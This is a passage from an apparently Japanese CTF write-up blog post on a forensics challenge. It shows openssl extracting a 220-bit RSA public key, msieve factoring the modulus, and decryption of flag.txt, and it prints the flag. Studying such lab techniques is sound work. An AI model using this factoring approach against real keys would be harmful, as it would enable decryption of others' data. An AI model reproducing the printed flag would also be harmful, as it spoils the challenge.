0000000: 0623 4a34 ff6a 9910 2da1 763d a2e7 e652  .#J4.j..-.v=...R
0000010: 042a 4526 8ab8 8259 48c7 1320            .*E&...YH.. 

ここで、最初に見つけたRSAの公開鍵を使うんだなと考える。鍵長も長くなさそうだしゴリ押しで行けるだろwという発想。
公開鍵のファイルから、eとNを取り出す。220bitなので、現実的時間内に、pとqを求めることができる。

% openssl rsa -text -modulus -pubin < id_rsa.pub 
Public-Key: (220 bit)
Modulus:
    0c:3c:3e:01:29:e2:fd:00:67:b8:a6:97:cb:56:6b:
    7d:49:f7:da:6b:16:97:d9:32:61:23:fa:8d
Exponent: 65537 (0x10001)
Modulus=C3C3E0129E2FD0067B8A697CB566B7D49F7DA6B1697D9326123FA8D
writing RSA key
-----BEGIN PUBLIC KEY-----
MDcwDQYJKoZIhvcNAQEBBQADJgAwIwIcDDw+ASni/QBnuKaXy1ZrfUn32msWl9ky
YSP6jQIDAQAB
-----END PUBLIC KEY-----

pとqは、1067720436041231358402956670029837と1206804386570390765714542811755649だった。

% msieve -q -v 0x0c3c3e0129e2fd0067b8a697cb566b7d49f7da6b1697d9326123fa8d


Msieve v. 1.52 (SVN unknown)
Wed Aug 31 21:40:02 2016
random seeds: e9b0fdb9 aae3203b
factoring 1288529705845408357244049553359282722253970863715459988603183299213 (67 digits)
searching for 15-digit factors
commencing quadratic sieve (67-digit input)
using multiplier of 13
using generic 32kb sieve core
sieve interval: 12 blocks of size 32768
processing polynomials in batches of 17
using a sieve bound of 153941 (7152 primes)
using large prime bound of 10621929 (23 bits)
using trial factoring cutoff of 23 bits
polynomial 'A' values have 8 factors
restarting with 3567 full and 38233 partial relations

7753 relations (3567 full + 4186 combined from 38233 partial), need 7248
sieving complete, commencing postprocessing
begin with 41800 relations
reduce to 11350 relations in 2 passes
attempting to read 11350 relations
recovered 11350 relations
recovered 8996 polynomials
attempting to build 7753 cycles
found 7753 cycles in 1 passes
distribution of cycle lengths:
   length 1 : 3567
   length 2 : 4186
largest cycle: 2 relations
matrix is 7152 x 7753 (1.1 MB) with weight 215230 (27.76/col)
sparse part has weight 215230 (27.76/col)
filtering completed in 4 passes
matrix is 6588 x 6652 (0.9 MB) with weight 178112 (26.78/col)
sparse part has weight 178112 (26.78/col)
commencing Lanczos iteration
memory use: 0.9 MB
lanczos halted after 106 iterations (dim = 6582)
recovered 61 nontrivial dependencies
prp34 factor: 1067720436041231358402956670029837
prp34 factor: 1206804386570390765714542811755649
elapsed time 00:00:01

あとはやるだけ。
private.keyの生成は、過去の記事を見てください。dを求めたら、後はスクリプト内の各パラメータを設定するだけ
hama.hatenadiary.jp

% openssl rsautl -decrypt -inkey private.key < flag.txt                   
f0r3n51c515fun

さいごに

本当は他の問題も書く予定だったが、長くなったので分割します。
自分で書いたスクリプトを、後から見返すとセンスなさすぎ、汚すぎで見てられない。
問題自体は、結構楽しめて解けた。フラグからforensicとあるが、RSAで詰まった人の方が多いような気もする。
実際に自分も競技時間中にopensslで公開鍵のパラメータの表示方法を忘れて詰まってしまった。
競技中にインターネットから遮断されていたのが辛かった。